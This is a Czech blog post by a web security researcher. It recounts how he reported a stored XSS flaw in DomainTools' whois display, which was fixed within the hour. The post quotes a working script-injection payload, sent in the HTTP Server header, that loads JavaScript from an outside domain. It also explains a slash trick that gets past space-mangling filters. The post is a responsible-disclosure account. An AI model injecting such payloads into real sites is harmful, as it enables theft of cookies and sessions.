📆 22. prosince 2017 📂 XSS, JavaScript, reakce, DomainTools

Nahlásil jsem bezpečnostní zranitelnost typu Stored XSS a chyba byla ověřena, opravena, a záplata otestována a vydána do hodiny. V pátek. Před Vánoci.

Mám rád JavaScript, ale asi jinak než většina ostatních lidí. Rád dávám kousky JavaScriptu na nečekaná místa, protože to nese nečekané výsledky. Abych se přiznal, už to dělám nějakou dobu a ty výsledky už zas tak moc nečekané nejsou. Někdy mi připomeňte, abych vám řekl příběh o tom, jak jsem pojmenoval svůj SSH klíč a dostal se tak v roce 2014 na zeď slávy společnosti Atlassian. Zatím to můžete najít třeba v mé přednášce o Cross-Site Scriptingu.

Jedním z takových nečekaných míst, kam rád dávám JavaScript, jsou HTTP hlavičky – můj web posílá hlavičku Server, která obsahuje <script/src=//xss.sk></script>. Protože proč tam mít nginx, když tam můžete mít něco zajímavějšího, že. Vidíte, používal jsem Server-side JavaScript dřív než to bylo kůl.

server: <script/src=//xss.sk></script>

Některé webové nástroje obsah této hlavičky zobrazují, abyste viděli, jaký server ten který web používá. To je také případ Whois výpisu na DomainTools, tedy služby, kterou docela často používám a to nejen proto, že si pamatuji zkratku whois.sc/<doména> (Whois Source). Najdete tam také odkazy na další užitečné nástroje, jako třeba reverzní vyhledávání apod.

Dnes jsem konečně dostal ten parádní nápad podívat se, jak vypadá whois záznam pro moji doménu. Snad lehce nečekaně mě překvapil tenhle známý JavaScriptový alert:

💩 JavaScript is bad, m'kay?

S tím by se asi dalo i souhlasit, kliknul jsem na OK a najednou slyším hlas pana Mackeyho, jak vysvětluje, že drogy jsou špatné (protože drogy jsou špatné) a najednou mi to došlo: to je můj JavaScript z domény xss.sk! Obsah hlavičky Server nebyl při výpisu na DomainTools správně ošetřen a můj prohlížeč stáhl JavaScript z domény xss.sk a spustil. Tím se zobrazil ten alert a vložilo se do stránky tohle video ze South Parku. Když navštívíte web xss.sk přímo ve vašem prohlížeči, tak ten JavaScript neuvidíte, parsuji hlavičku Accept a podle ní vracím patřičný obsah.

Napsal jsem Scottovi Helmemu, se kterým pracuji na Report-URI, protože jsem si vzpomněl, že mi jednou říkal, že někoho v DomainTools zná. Scott mi slíbil, že jim dá vědět a ani ne za hodinu zvládli v DomainTools chybu ověřit, opravit a záplatu otestovat a nasadit na produkční servery. V pátek, před Vánoci. Klobouk dolů, dámy a pánové, klobouk dolů. Takhle by měla vypadat reakce na nahlášení bezpečnostní chyby! Alerty a veselá videa jsou jedna věc, ale JavaScript běžící v kontextu stránky může krást cookie, tokeny, vytvářet falešné přihlašovací formuláře nebo se stránkou dělat cokoliv jiného, pokud nejsou použity nějaké další zábrany (jako např. HTTPOnly cookies nebo Content Security Policy).

Po opravě vypadá výpis takto:

Server Type <script/src=//xss.sk></script>

Pokud se vám nezdá to lomítko mezi script a src, tak je tam proto, že některé weby při zobrazení hlavičky nahradily mezeru za &nbsp; a prohlížeče tag nepoznaly. Lomítko tomu zabraňuje, ale browser přesto dokáže správně rozeznat značku script a atribut src.

Toto je celkem krátká „časová osa“, ale přesto ji chci uvést, protože ty intervaly jsou fakt krátké:

  • 16:20 píšu Scottovi, posílám mu odkaz na zranitelný výpis, žádám ho, aby dal do DomainTools vědět
  • 16:27 Scott posílá e-mail do DomainTools
  • 16:34 Scottovi přišla odpověď z DomainTools, posílají to na správná místa
  • 16:45 CTO z DomainTools napsal Scottovi e-mail s potvrzením, že to opravují
  • 17:09 Scott mi píše, že to je prý vyřešeno

Oprava této chyby asi nebyla tak složitá, ale stejně – za méně než hodinu od poslání odkazu Scottovi, a 42 minut od té doby, co Scott odeslal e-mail, wow, nemám co dodat. Tohle byla docela fajn zkušenost, díky DomainTools za rychlou reakci a díky Scottovi za posílání e-mailů.

Teď se zeptejte sami sebe, jak dlouho by trvala vaše reakce na chyby jako byla tahle, hmm?

Michal Špaček

Vyvíjím webové aplikace, zajímá mě jejich bezpečnost. Nebojím se o tom mluvit veřejně, hledám hranice tak, že je posouvám. Chci naučit webové vývojáře stavět bezpečnější a výkonnější weby a aplikace.

Veřejná školení

Zvu vás na následující školení, která pořádám a vedu:

Bezpečnost PHP aplikací
(13.–14. června 2018 Praha)

HTTPS pro vývojáře a správce
(15. června 2018 Praha)

English